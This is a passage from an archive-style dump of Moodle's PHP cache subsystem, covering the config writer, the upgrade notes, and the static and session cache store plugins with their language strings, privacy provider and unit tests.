$CFG; $files = []; if (file_exists($CFG->dirroot . '/lib/db/caches.php')) { $files['core'] = $CFG->dirroot . '/lib/db/caches.php'; } if (!$coreonly) { $plugintypes = core_component::get_plugin_types(); foreach ($plugintypes as $type => $location) { $plugins = core_component::get_plugin_list_with_file($type, 'db/caches.php'); foreach ($plugins as $plugin => $filepath) { $component = clean_param($type . '_' . $plugin, PARAM_COMPONENT); // Standardised plugin name. $files[$component] = $filepath; } } } $definitions = []; foreach ($files as $component => $file) { $filedefs = self::load_caches_file($file); foreach ($filedefs as $area => $definition) { $area = clean_param($area, PARAM_AREA); $id = $component . '/' . $area; $definition['component'] = $component; $definition['area'] = $area; if (array_key_exists($id, $definitions)) { debugging('Error: duplicate cache definition found with id: ' . $id, DEBUG_DEVELOPER); continue; } $definitions[$id] = $definition; } } return $definitions; } /** * Writes the updated definitions for the config file. * @param array $definitions */ private function write_definitions_to_cache(array $definitions) { // Preserve the selected sharing option when updating the definitions. // This is set by the user and should never come from caches.php. foreach ($definitions as $key => $definition) { unset($definitions[$key]['selectedsharingoption']); unset($definitions[$key]['userinputsharingkey']); if (isset($this->configdefinitions[$key]) && isset($this->configdefinitions[$key]['selectedsharingoption'])) { $definitions[$key]['selectedsharingoption'] = $this->configdefinitions[$key]['selectedsharingoption']; } if (isset($this->configdefinitions[$key]) && isset($this->configdefinitions[$key]['userinputsharingkey'])) { $definitions[$key]['userinputsharingkey'] = $this->configdefinitions[$key]['userinputsharingkey']; } } $this->configdefinitions = $definitions; foreach ($this->configdefinitionmappings as $key => $mapping) { if (!array_key_exists($mapping['definition'], $definitions)) { unset($this->configdefinitionmappings[$key]); } } $this->config_save(); } /** * Loads the caches file if it exists. * @param string $file Absolute path to the file. * @return array */ private static function load_caches_file($file) { if (!file_exists($file)) { return []; } $definitions = []; include($file); return $definitions; } /** * Sets the mappings for a given definition. * * @param string $definition * @param array $mappings * @throws coding_exception */ public function set_definition_mappings($definition, $mappings) { if (!array_key_exists($definition, $this->configdefinitions)) { throw new coding_exception('Invalid definition name passed when updating mappings.'); } foreach ($mappings as $store) { if (!array_key_exists($store, $this->configstores)) { throw new coding_exception('Invalid store name passed when updating definition mappings.'); } } foreach ($this->configdefinitionmappings as $key => $mapping) { if ($mapping['definition'] == $definition) { unset($this->configdefinitionmappings[$key]); } } $sort = count($mappings); foreach ($mappings as $store) { $this->configdefinitionmappings[] = [ 'store' => $store, 'definition' => $definition, 'sort' => $sort, ]; $sort--; } $this->config_save(); } /** * Update the site identifier stored by the cache API. * * @param string $siteidentifier * @return string The new site identifier. */ public function update_site_identifier($siteidentifier) { $this->siteidentifier = md5((string)$siteidentifier); $this->config_save(); return $this->siteidentifier; } /** * Sets the selected sharing options and key for a definition. * * @param string $definition The name of the definition to set for. * @param int $sharingoption The sharing option to set. * @param string|null $userinputsharingkey The user input key or null. * @throws coding_exception */ public function set_definition_sharing($definition, $sharingoption, $userinputsharingkey = null) { if (!array_key_exists($definition, $this->configdefinitions)) { throw new coding_exception('Invalid definition name passed when updating sharing options.'); } if (!($this->configdefinitions[$definition]['sharingoptions'] & $sharingoption)) { throw new coding_exception('Invalid sharing option passed when updating definition.'); } $this->configdefinitions[$definition]['selectedsharingoption'] = (int)$sharingoption; if (!empty($userinputsharingkey)) { $this->configdefinitions[$definition]['userinputsharingkey'] = (string)$userinputsharingkey; } $this->config_save(); } } // Alias this class to the old name. // This file will be autoloaded by the legacyclasses autoload system. // In future all uses of this class will be corrected and the legacy references will be removed. class_alias(config_writer::class, \cache_config_writer::class); templates/usage.mustache000064400000002461152265337610011416 0ustar00{{! This file is part of Moodle - http://moodle.org/ Moodle is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Moodle is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Moodle. If not, see . }} {{! @template core_cache/usage The cache usage page Context variables required for this template: * maintable - Main table HTML * summarytable - Summary table HTML * samplesform - Form to choose number of samples Example context (json): { "maintable": "", "summarytable": "", "samplesform": "" } }}

{{# str }} cacheusage, cache {{/ str }}

{{# str }} cachestores, cache {{/ str }}

{{{summarytable}}}

{{# str }} details {{/ str }}

{{{maintable}}}
{{{samplesform}}} upgrade.txt000064400000020312152265337610006744 0ustar00=== 4.5 Onwards === This file has been replaced by UPGRADING.md. See MDL-81125 for further information. === This files describes API changes in /cache/stores/* - cache store plugins. Information provided here is intended especially for developers. === 4.3 === * A new cache_helper::result_found() helper has been added to assist with cache value validation * Implementations of the following methods, deprecated since 3.10, have been removed and can no longer be used: - `\core\lock\lock::extend` - `\core\lock\lock_factory::extend_lock` - `\core\lock\lock_factory::supports_recursion` * The automatic locking options 'requirelockingread' and 'requirelockingwrite' have been removed. These features are not used in core, were recommended against in the documentation, had significant bugs, and had no useful purpose. 'requirelockingbeforewrite' is still available to check that manual locking has been applied. * The acquire_lock function within cache loaders now throws an exception if it fails to obtain the lock after a timeout, instead of returning false. * The functions set_many, delete, and delete_many now all throw exceptions if you are using 'requirelockingbeforewrite' and do not have a lock, same as the set function. === 4.2 === * The memcached cachestore has been removed. * The mongodb cachestore has been removed. === 4.1 === * Added new `requirelockingbeforewrite` option for cache definitions. This will check that a lock for a given cache key already exists before it will perform a `set()` on that key. A `coding_exception` is thrown if the lock has not been acquired. * Added native locking to cachestore_file. This will use an instance of file_lock_factory pointing at a subdirectory in the same location as the cache instance, meaning a local file cache will have its locks stored locally. If file locks are disabled globally, it will fall back to use the default lock factory, which may not be in the same location as the cache. cachestore_file includes an additional setting to control how long it will wait for a lock before giving up, default is 60 seconds. === 4.0 === * Cache stores may implement new optional function cache_store::get_last_io_bytes() to provide information about the size of data transferred (shown in footer if performance info enabled). * The cache_store class now has functions cache_size_details(), store_total_size(), and estimate_stored_size(), related to size used by the cache. These can be overridden by a cache store to provide better information for the new cache usage admin page. * New functions cache::set_versioned() and cache::get_versioned() can be used to ensure correct behaviour when using a multi-level cache with early cache levels stored locally. (Used when rebuilding modinfo.) There is also a new interface cache_data_source_versionable which can be implemented if you want to make a data source that supports versioning. === 3.10 === * The function supports_recursion() from the lock_factory interface has been deprecated including the related implementations. * The function extend_lock() from the lock_factory interface has been deprecated without replacement including the related implementations. * The function extend() from the lock class has been deprecated without replacement. * The cache_factory class can now be overridden by an alternative cache config class, which can also now control the frontend display of the cache/admin.php page (see MDL-41492). === 3.9 === * The record_cache_hit/miss/set methods now take a cache_store instead of a cache_definition object === 3.8 === * The Redis cache store can now make use of the Zstandard compression algorithm (see MDL-66428). === 3.7 === * Upgraded MongoDB cache store to use the new lower level PHP-driver and MongoDB PHP Library. * The mongodb extension has replaced the old mongo extension. The mongodb pecl extension >= 1.5 must be installed to use MongoDB cache store. === 3.6 === * The `cache::now()` function now takes an optional boolean parameter to indicate that the cache should return a more accurate time, generated by the PHP `microtime` function. * The memcache store was removed as it is not compatible with PHP 7.0. === 3.3 === * Identifiers and invalidation events have been explictly been marked as incompatible and will throw a coding exception. Unexpected results would have occurred if the previous behaviour was attempted. * Identifiers are now part of loaded caches, so identifiers can only be set at cache::make() a coding_exception will be thrown if attempts are made at other times. Multiple calls to cache::make with different identifiers will produce 2 caches instead of changing the keyspace of a single cache. === 3.2 === * The following methods have been finally deprecated and should no longer be used. - cache_definition::should_be_persistent() - cache_definition::get_persistent_max_size() - cache::is_using_persist_cache() - cache::is_in_persist_cache() - cache::get_from_persist_cache() - cache::set_in_persist_cache() - cache::delete_from_persist_cache() - cache_store::cleanup() * cachestore_dummy::cleanup() has been deprecated. * cachestore_dummy::instance_deleted() implemented in lieu of cachestore_dummy::cleanup(). * Added cache_store::unit_test_configuration() to calculate unit testing configuration. * Remove cache_store:initialise_unit_test_instance() as it is incompatible with cache_helper purge functions. === 3.1 === * Cache stores has a new feature DEREFERENCES_OBJECTS. This allows the cache loader to decide if it needs to handle dereferencing or whether the data coming directly to it has already had references resolved. - see supports_dereferencing_objects in store.php. === 2.9 === * Cache data source aggregation functionality has been removed. This functionality was found to be broken and unused. It was decided that rather than fixing it it should be removed. As well as the processing code being removed the following API changes have been made. The following changes have come about because of it: - cache_definition::$datasourceaggregate is deprecated an unused. - cache_definition::load Argument 3 (final arg) is now unused. - cache_factory::create_cache_from_definition Argument 4 (final arg) is now unused. - cache::make Argument 4 (final arg) is now unused. * cache_config_phpunittest has been renamed to cache_config_testing * New method cache_store::ready_to_be_used_for_testing() that returns true|false if the store is suitable and ready for use as the primary store during unit and acceptance tests. * cache_helper::get_stats structure we changed to include the cache mode. === 2.7 === * cache_store::is_ready is no longer abstract, calling cache_store::are_requirements_met by default. === 2.6 === * All cache instances are recorded and subsequent requests are given a reference to the original instance. * The persistent option for the cache definition has been deprecated. Please use the staticacceleration option instead. * There is a new static acceleration option. If enabled data passing through the cache is held onto. * The persistentmaxsize option has been renamed to staticaccelerationsize. It does the same thing. * cache_definition::should_be_persistent has been deprecated. Please call cache_definition::use_static_acceleration instead. * cache_definition::get_persistent_max_size has been deprecated. Please call cache_definition::get_static_acceleration_size instead. * cache::is_using_persist_cache() has been deprecated. Please call cache::use_static_acceleration() * cache::is_in_persist_cache() has been deprecated. Please call cache::static_acceleration_has() * cache::get_from_persist_cache() has been deprecated. Please call cache::static_acceleration_get() * cache::set_in_persist_cache() has been deprecated. Please call cache::static_acceleration_set() * cache::delete_from_persist_cache() has been deprecated. Please call cache::static_acceleration_delete() * If you have any custom cache loaders you will need to rename these methods if you have overriden them and adjust any calls you may have made to them. === 2.5 === * cleanup method renamed to instance_deleted. It is now called when the store is deleted as all comments suggested anyway. * instance_created method added. It is called when the store is created for the very first time. stores/static/lang/en/cachestore_static.php000064400000002520152265337610015106 0ustar00. /** * The library file for the static cache store. * * This file is part of the static cache store, it contains the API for interacting with an instance of the store. * This is used as a default cache store within the Cache API. It should never be deleted. * * @package cachestore_static * @category cache * @copyright 2012 Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); $string['pluginname'] = 'Static request cache'; $string['privacy:metadata'] = 'The Static request cachestore plugin stores some data, but this is only present for the lifetime of a single HTTP request.'; stores/static/lib.php000064400000041431152265337610010646 0ustar00. /** * The library file for the static cache store. * * This file is part of the static cache store, it contains the API for interacting with an instance of the store. * This is used as a default cache store within the Cache API. It should never be deleted. * * @package cachestore_static * @category cache * @copyright 2012 Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ use core_cache\definition; use core_cache\store; defined('MOODLE_INTERNAL') || die(); /** * The static data store class * * @copyright 2012 Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ abstract class static_data_store extends store { /** * An array for storage. * @var array */ private static $staticstore = array(); /** * Returns a static store by reference... REFERENCE SUPER IMPORTANT. * * @param string $id * @return array */ protected static function ®ister_store_id($id) { if (!array_key_exists($id, self::$staticstore)) { self::$staticstore[$id] = array(); } return self::$staticstore[$id]; } /** * Flushes the store of all values for belonging to the store with the given id. * @param string $id */ protected static function flush_store_by_id($id) { unset(self::$staticstore[$id]); self::$staticstore[$id] = array(); } /** * Flushes all of the values from all stores. * * @copyright 2012 Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ protected static function flush_store() { $ids = array_keys(self::$staticstore); unset(self::$staticstore); self::$staticstore = array(); foreach ($ids as $id) { self::$staticstore[$id] = array(); } } } /** * The static store class. * * @copyright 2012 Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class cachestore_static extends static_data_store implements cache_is_key_aware, cache_is_searchable { /** * The name of the store * @var store */ protected $name; /** * The store id (should be unique) * @var string */ protected $storeid; /** * The store we use for data. * @var array */ protected $store; /** * The maximum size for the store, or false if there isn't one. * @var bool */ protected $maxsize = false; /** * Where this cache uses simpledata and we don't need to serialize it. * @var bool */ protected $simpledata = false; /** * The number of items currently being stored. * @var int */ protected $storecount = 0; /** * igbinary extension available. * @var bool */ protected $igbinaryfound = false; /** * Constructs the store instance. * * Noting that this function is not an initialisation. It is used to prepare the store for use. * The store will be initialised when required and will be provided with a definition at that time. * * @param string $name * @param array $configuration */ public function __construct($name, array $configuration = array()) { $this->name = $name; } /** * Returns the supported features as a combined int. * * @param array $configuration * @return int */ public static function get_supported_features(array $configuration = array()) { return self::SUPPORTS_DATA_GUARANTEE + self::SUPPORTS_NATIVE_TTL + self::IS_SEARCHABLE + self::SUPPORTS_MULTIPLE_IDENTIFIERS + self::DEREFERENCES_OBJECTS; } /** * Returns true as this store does support multiple identifiers. * (This optional function is a performance optimisation; it must be * consistent with the value from get_supported_features.) * * @return bool true */ public function supports_multiple_identifiers() { return true; } /** * Returns the supported modes as a combined int. * * @param array $configuration * @return int */ public static function get_supported_modes(array $configuration = array()) { return self::MODE_REQUEST; } /** * Returns true if the store requirements are met. * * @return bool */ public static function are_requirements_met() { return true; } /** * Returns true if the given mode is supported by this store. * * @param int $mode One of store::MODE_* * @return bool */ public static function is_supported_mode($mode) { return ($mode === store::MODE_REQUEST); } /** * Initialises the cache. * * Once this has been done the cache is all set to be used. * * @param definition $definition */ public function initialise(definition $definition) { $keyarray = $definition->generate_multi_key_parts(); $this->storeid = $keyarray['mode'].'/'.$keyarray['component'].'/'.$keyarray['area'].'/'.$keyarray['siteidentifier']; $this->store = &self::register_store_id($this->storeid); $maxsize = $definition->get_maxsize(); $this->simpledata = $definition->uses_simple_data(); $this->igbinaryfound = extension_loaded('igbinary'); if ($maxsize !== null) { // Must be a positive int. $this->maxsize = abs((int)$maxsize); $this->storecount = count($this->store); } } /** * Returns true once this instance has been initialised. * * @return bool */ public function is_initialised() { return (is_array($this->store)); } /** * Uses igbinary serializer if igbinary extension is loaded. * Fallback to PHP serializer. * * @param mixed $data * The value to be serialized. * @return string a string containing a byte-stream representation of * value that can be stored anywhere. */ protected function serialize($data) { if ($this->igbinaryfound) { return igbinary_serialize($data); } else { return serialize($data); } } /** * Uses igbinary unserializer if igbinary extension is loaded. * Fallback to PHP unserializer. * * @param string $str * The serialized string. * @return mixed The converted value is returned, and can be a boolean, * integer, float, string, * array or object. */ protected function unserialize($str) { if ($this->igbinaryfound) { return igbinary_unserialize($str); } else { return unserialize($str); } } /** * Retrieves an item from the cache store given its key. * * @param string $key The key to retrieve * @return mixed The data that was associated with the key, or false if the key did not exist. */ public function get($key) { if (!is_array($key)) { $key = array('key' => $key); } $key = $key['key']; if (isset($this->store[$key])) { if ($this->store[$key]['serialized']) { return $this->unserialize($this->store[$key]['data']); } else { return $this->store[$key]['data']; } } return false; } /** * Retrieves several items from the cache store in a single transaction. * * If not all of the items are available in the cache then the data value for those that are missing will be set to false. * * @param array $keys The array of keys to retrieve * @return array An array of items from the cache. There will be an item for each key, those that were not in the store will * be set to false. */ public function get_many($keys) { $return = array(); foreach ($keys as $key) { if (!is_array($key)) { $key = array('key' => $key); } $key = $key['key']; $return[$key] = false; if (isset($this->store[$key])) { if ($this->store[$key]['serialized']) { $return[$key] = $this->unserialize($this->store[$key]['data']); } else { $return[$key] = $this->store[$key]['data']; } } } return $return; } /** * Sets an item in the cache given its key and data value. * * @param string $key The key to use. * @param mixed $data The data to set. * @param bool $testmaxsize If set to true then we test the maxsize arg and reduce if required. * @return bool True if the operation was a success false otherwise. */ public function set($key, $data, $testmaxsize = true) { if (!is_array($key)) { $key = array('key' => $key); } $key = $key['key']; $testmaxsize = ($testmaxsize && $this->maxsize !== false); if ($testmaxsize) { $increment = (!isset($this->store[$key])); } if ($this->simpledata || is_scalar($data)) { $this->store[$key]['data'] = $data; $this->store[$key]['serialized'] = false; } else { $this->store[$key]['data'] = $this->serialize($data); $this->store[$key]['serialized'] = true; } if ($testmaxsize && $increment) { $this->storecount++; if ($this->storecount > $this->maxsize) { $this->reduce_for_maxsize(); } } return true; } /** * Sets many items in the cache in a single transaction. * * @param array $keyvaluearray An array of key value pairs. Each item in the array will be an associative array with two * keys, 'key' and 'value'. * @return int The number of items successfully set. It is up to the developer to check this matches the number of items * sent ... if they care that is. */ public function set_many(array $keyvaluearray) { $count = 0; foreach ($keyvaluearray as $pair) { if (!is_array($pair['key'])) { $pair['key'] = array('key' => $pair['key']); } // Don't test the maxsize here. We'll do it once when we are done. $this->set($pair['key']['key'], $pair['value'], false); $count++; } if ($this->maxsize !== false) { $this->storecount += $count; if ($this->storecount > $this->maxsize) { $this->reduce_for_maxsize(); } } return $count; } /** * Checks if the store has a record for the given key and returns true if so. * * @param string $key * @return bool */ public function has($key) { if (is_array($key)) { $key = $key['key']; } return isset($this->store[$key]); } /** * Returns true if the store contains records for all of the given keys. * * @param array $keys * @return bool */ public function has_all(array $keys) { foreach ($keys as $key) { if (!is_array($key)) { $key = array('key' => $key); } $key = $key['key']; if (!isset($this->store[$key])) { return false; } } return true; } /** * Returns true if the store contains records for any of the given keys. * * @param array $keys * @return bool */ public function has_any(array $keys) { foreach ($keys as $key) { if (!is_array($key)) { $key = array('key' => $key); } $key = $key['key']; if (isset($this->store[$key])) { return true; } } return false; } /** * Deletes an item from the cache store. * * @param string $key The key to delete. * @return bool Returns true if the operation was a success, false otherwise. */ public function delete($key) { if (!is_array($key)) { $key = array('key' => $key); } $key = $key['key']; $result = isset($this->store[$key]); unset($this->store[$key]); if ($this->maxsize !== false) { $this->storecount--; } return $result; } /** * Deletes several keys from the cache in a single action. * * @param array $keys The keys to delete * @return int The number of items successfully deleted. */ public function delete_many(array $keys) { $count = 0; foreach ($keys as $key) { if (!is_array($key)) { $key = array('key' => $key); } $key = $key['key']; if (isset($this->store[$key])) { $count++; } unset($this->store[$key]); } if ($this->maxsize !== false) { $this->storecount -= $count; } return $count; } /** * Purges the cache deleting all items within it. * * @return boolean True on success. False otherwise. */ public function purge() { $this->flush_store_by_id($this->storeid); $this->store = &self::register_store_id($this->storeid); // Don't worry about checking if we're using max size just set it as thats as fast as the check. $this->storecount = 0; return true; } /** * Reduces the size of the array if maxsize has been hit. * * This function reduces the size of the store reducing it by 10% of its maxsize. * It removes the oldest items in the store when doing this. * The reason it does this an doesn't use a least recently used system is purely the overhead such a system * requires. The current approach is focused on speed, MUC already adds enough overhead to static/session caches * and avoiding more is of benefit. * * @return int */ protected function reduce_for_maxsize() { $diff = $this->storecount - $this->maxsize; if ($diff < 1) { return 0; } // Reduce it by an extra 10% to avoid calling this repetitively if we are in a loop. $diff += floor($this->maxsize / 10); $this->store = array_slice($this->store, $diff, null, true); $this->storecount -= $diff; return $diff; } /** * Returns true if the user can add an instance of the store plugin. * * @return bool */ public static function can_add_instance() { return false; } /** * Performs any necessary clean up when the store instance is being deleted. */ public function instance_deleted() { $this->purge(); } /** * Generates an instance of the cache store that can be used for testing. * * @param definition $definition * @return cachestore_static */ public static function initialise_test_instance(definition $definition) { // Do something here perhaps. $cache = new cachestore_static('Static store'); $cache->initialise($definition); return $cache; } /** * Generates the appropriate configuration required for unit testing. * * @return array Array of unit test configuration data to be used by initialise(). */ public static function unit_test_configuration() { return array(); } /** * Returns the name of this instance. * @return string */ public function my_name() { return $this->name; } /** * Finds all of the keys being stored in the cache store instance. * * @return array */ public function find_all() { return array_keys($this->store); } /** * Finds all of the keys whose keys start with the given prefix. * * @param string $prefix */ public function find_by_prefix($prefix) { $return = array(); foreach ($this->find_all() as $key) { if (strpos($key, $prefix) === 0) { $return[] = $key; } } return $return; } } stores/static/version.php000064400000002353152265337610011565 0ustar00. /** * Cache static store version information. * * This is used as a default cache store within the Cache API. It should never be deleted. * * @package cachestore_static * @category cache * @copyright 2012 Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die; $plugin->version = 2025041400; // The current module version (Date: YYYYMMDDXX). $plugin->requires = 2025040800; // Requires this Moodle version. $plugin->component = 'cachestore_static'; // Full name of the plugin.stores/static/classes/privacy/provider.php000064400000003012152265337610015035 0ustar00. /** * Privacy Subsystem implementation for cachestore_static. * * @package cachestore_static * @copyright 2018 Andrew Nicols * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ namespace cachestore_static\privacy; defined('MOODLE_INTERNAL') || die(); /** * Privacy Subsystem for cachestore_static implementing null_provider. * * @copyright 2018 Andrew Nicols * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class provider implements \core_privacy\local\metadata\null_provider { /** * Get the language string identifier with the component's language * file to explain why this plugin stores no data. * * @return string */ public static function get_reason(): string { return 'privacy:metadata'; } } stores/static/tests/store_test.php000064400000013354152265337610013440 0ustar00. namespace cachestore_static; use core_cache\definition; use core_cache\store; use cachestore_static; defined('MOODLE_INTERNAL') || die(); // Include the necessary evils. global $CFG; require_once($CFG->dirroot.'/cache/tests/fixtures/stores.php'); require_once($CFG->dirroot.'/cache/stores/static/lib.php'); /** * Static unit test class. * * @package cachestore_static * @copyright 2013 Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ final class store_test extends \cachestore_tests { /** * Returns the static class name * @return string */ protected function get_class_name() { return 'cachestore_static'; } /** * Test the maxsize option. */ public function test_maxsize(): void { $defid = 'phpunit/testmaxsize'; $config = \cache_config_testing::instance(); $config->phpunit_add_definition($defid, array( 'mode' => store::MODE_REQUEST, 'component' => 'phpunit', 'area' => 'testmaxsize', 'maxsize' => 3 )); $definition = definition::load($defid, $config->get_definition_by_id($defid)); $instance = cachestore_static::initialise_test_instance($definition); $this->assertTrue($instance->set('key1', 'value1')); $this->assertTrue($instance->set('key2', 'value2')); $this->assertTrue($instance->set('key3', 'value3')); $this->assertTrue($instance->has('key1')); $this->assertTrue($instance->has('key2')); $this->assertTrue($instance->has('key3')); $this->assertTrue($instance->set('key4', 'value4')); $this->assertTrue($instance->set('key5', 'value5')); $this->assertFalse($instance->has('key1')); $this->assertFalse($instance->has('key2')); $this->assertTrue($instance->has('key3')); $this->assertTrue($instance->has('key4')); $this->assertTrue($instance->has('key5')); $this->assertFalse($instance->get('key1')); $this->assertFalse($instance->get('key2')); $this->assertEquals('value3', $instance->get('key3')); $this->assertEquals('value4', $instance->get('key4')); $this->assertEquals('value5', $instance->get('key5')); // Test adding one more. $this->assertTrue($instance->set('key6', 'value6')); $this->assertFalse($instance->get('key3')); // Test reducing and then adding to make sure we don't lost one. $this->assertTrue($instance->delete('key6')); $this->assertTrue($instance->set('key7', 'value7')); $this->assertEquals('value4', $instance->get('key4')); // Set the same key three times to make sure it doesn't count overrides. for ($i = 0; $i < 3; $i++) { $this->assertTrue($instance->set('key8', 'value8')); } $this->assertEquals('value7', $instance->get('key7'), 'Overrides are incorrectly incrementing size'); // Test adding many. $this->assertEquals(3, $instance->set_many(array( array('key' => 'keyA', 'value' => 'valueA'), array('key' => 'keyB', 'value' => 'valueB'), array('key' => 'keyC', 'value' => 'valueC') ))); $this->assertEquals(array( 'key4' => false, 'key5' => false, 'key6' => false, 'key7' => false, 'keyA' => 'valueA', 'keyB' => 'valueB', 'keyC' => 'valueC' ), $instance->get_many(array( 'key4', 'key5', 'key6', 'key7', 'keyA', 'keyB', 'keyC' ))); } /** * Simple test to verify igbinary availability and check basic serialization is working ok. */ public function test_igbinary_serializer(): void { // Skip if igbinary is not available. if (!extension_loaded('igbinary')) { $this->markTestSkipped('Cannot test igbinary serializer. Extension missing'); } // Prepare the static instance. $defid = 'phpunit/igbinary'; $config = \cache_config_testing::instance(); $config->phpunit_add_definition($defid, array( 'mode' => store::MODE_REQUEST, 'component' => 'phpunit', 'area' => 'testigbinary' )); $definition = definition::load($defid, $config->get_definition_by_id($defid)); $instance = cachestore_static::initialise_test_instance($definition); // Prepare an object. $obj = new \stdClass(); $obj->someint = 9; $obj->somestring = '99'; $obj->somearray = [9 => 999, '99' => '9999']; // Serialize and set. $objser = igbinary_serialize($obj); $instance->set('testigbinary', $objser); // Get and unserialize. $res = $instance->get('testigbinary'); $resunser = igbinary_unserialize($res); // Check expectations. $this->assertSame($objser, $res); // Ok from cache (ig-serialized, 100% same string). $this->assertEquals($obj, $resunser); // Ok ig-unserialized (equal $this->assertNotSame($obj, $resunser);// but different objects, obviously). } } stores/session/lang/en/cachestore_session.php000064400000002550152265337610015501 0ustar00. /** * The library file for the session cache store. * * This file is part of the session cache store, it contains the API for interacting with an instance of the store. * This is used as a default cache store within the Cache API. It should never be deleted. * * @package cachestore_session * @category cache * @copyright 2012 Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); $string['pluginname'] = 'Session cache'; $string['privacy:metadata:core_user'] = 'The Session cachestore plugin stores data briefly as part of its caching functionality. This data is stored in the short-lived user session.'; stores/session/lib.php000064400000043576152265337610011056 0ustar00. /** * The library file for the session cache store. * * This file is part of the session cache store, it contains the API for interacting with an instance of the store. * This is used as a default cache store within the Cache API. It should never be deleted. * * @package cachestore_session * @category cache * @copyright 2012 Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ use core_cache\definition; use core_cache\key_aware_cache_interface; use core_cache\searchable_cache_interface; use core_cache\store; defined('MOODLE_INTERNAL') || die(); /** * The session data store class. * * @copyright 2012 Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ abstract class session_data_store extends store { /** * Used for the actual storage. * @var array */ private static $sessionstore = null; /** * Returns a static store by reference... REFERENCE SUPER IMPORTANT. * * @param string $id * @return array */ protected static function ®ister_store_id($id) { if (is_null(self::$sessionstore)) { global $SESSION; if (!isset($SESSION->cachestore_session)) { $SESSION->cachestore_session = array(); } self::$sessionstore =& $SESSION->cachestore_session; } if (!array_key_exists($id, self::$sessionstore)) { self::$sessionstore[$id] = array(); } return self::$sessionstore[$id]; } /** * Flushes the data belong to the given store id. * @param string $id */ protected static function flush_store_by_id($id) { unset(self::$sessionstore[$id]); self::$sessionstore[$id] = array(); } /** * Flushes the store of all data. */ protected static function flush_store() { $ids = array_keys(self::$sessionstore); unset(self::$sessionstore); self::$sessionstore = array(); foreach ($ids as $id) { self::$sessionstore[$id] = array(); } } } /** * The Session store class. * * @copyright 2012 Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class cachestore_session extends session_data_store implements key_aware_cache_interface, searchable_cache_interface { /** * The name of the store * @var store */ protected $name; /** * The store id (should be unique) * @var string */ protected $storeid; /** * The store we use for data. * @var array */ protected $store; /** * The ttl if there is one. Hopefully not. * @var int */ protected $ttl = 0; /** * The maximum size for the store, or false if there isn't one. * @var bool|int */ protected $maxsize = false; /** * The number of items currently being stored. * @var int */ protected $storecount = 0; /** * Constructs the store instance. * * Noting that this function is not an initialisation. It is used to prepare the store for use. * The store will be initialised when required and will be provided with a definition at that time. * * @param string $name * @param array $configuration */ public function __construct($name, array $configuration = array()) { $this->name = $name; } /** * Returns the supported features as a combined int. * * @param array $configuration * @return int */ public static function get_supported_features(array $configuration = array()) { return self::SUPPORTS_DATA_GUARANTEE + self::SUPPORTS_NATIVE_TTL + self::IS_SEARCHABLE; } /** * Returns false as this store does not support multiple identifiers. * (This optional function is a performance optimisation; it must be * consistent with the value from get_supported_features.) * * @return bool False */ public function supports_multiple_identifiers() { return false; } /** * Returns the supported modes as a combined int. * * @param array $configuration * @return int */ public static function get_supported_modes(array $configuration = array()) { return self::MODE_SESSION; } /** * Returns true if the store requirements are met. * * @return bool */ public static function are_requirements_met() { return true; } /** * Returns true if the given mode is supported by this store. * * @param int $mode One of store::MODE_* * @return bool */ public static function is_supported_mode($mode) { return ($mode === store::MODE_SESSION); } /** * Initialises the cache. * * Once this has been done the cache is all set to be used. * * @param definition $definition */ public function initialise(definition $definition) { $this->storeid = $definition->generate_definition_hash(); $this->store = &self::register_store_id($this->name.'-'.$definition->get_id()); $this->ttl = $definition->get_ttl(); $maxsize = $definition->get_maxsize(); if ($maxsize !== null) { // Must be a positive int. $this->maxsize = abs((int)$maxsize); $this->storecount = count($this->store); } $this->check_ttl(); } /** * Returns true once this instance has been initialised. * * @return bool */ public function is_initialised() { return (is_array($this->store)); } /** * Retrieves an item from the cache store given its key. * * @param string $key The key to retrieve * @return mixed The data that was associated with the key, or false if the key did not exist. */ public function get($key) { if (isset($this->store[$key])) { if ($this->ttl == 0) { $value = $this->store[$key][0]; if ($this->maxsize !== false) { // Make sure the element is now in the end of array. $this->set($key, $value); } return $value; } else if ($this->store[$key][1] >= (cache::now() - $this->ttl)) { return $this->store[$key][0]; } else { // Element is present but has expired. $this->check_ttl(); } } return false; } /** * Retrieves several items from the cache store in a single transaction. * * If not all of the items are available in the cache then the data value for those that are missing will be set to false. * * @param array $keys The array of keys to retrieve * @return array An array of items from the cache. There will be an item for each key, those that were not in the store will * be set to false. */ public function get_many($keys) { $return = array(); $maxtime = 0; if ($this->ttl != 0) { $maxtime = cache::now() - $this->ttl; } $hasexpiredelements = false; foreach ($keys as $key) { $return[$key] = false; if (isset($this->store[$key])) { if ($this->ttl == 0) { $return[$key] = $this->store[$key][0]; if ($this->maxsize !== false) { // Make sure the element is now in the end of array. $this->set($key, $return[$key], false); } } else if ($this->store[$key][1] >= $maxtime) { $return[$key] = $this->store[$key][0]; } else { $hasexpiredelements = true; } } } if ($hasexpiredelements) { // There are some elements that are present but have expired. $this->check_ttl(); } return $return; } /** * Sets an item in the cache given its key and data value. * * @param string $key The key to use. * @param mixed $data The data to set. * @param bool $testmaxsize If set to true then we test the maxsize arg and reduce if required. If this is set to false you will * need to perform these checks yourself. This allows for bulk set's to be performed and maxsize tests performed once. * @return bool True if the operation was a success false otherwise. */ public function set($key, 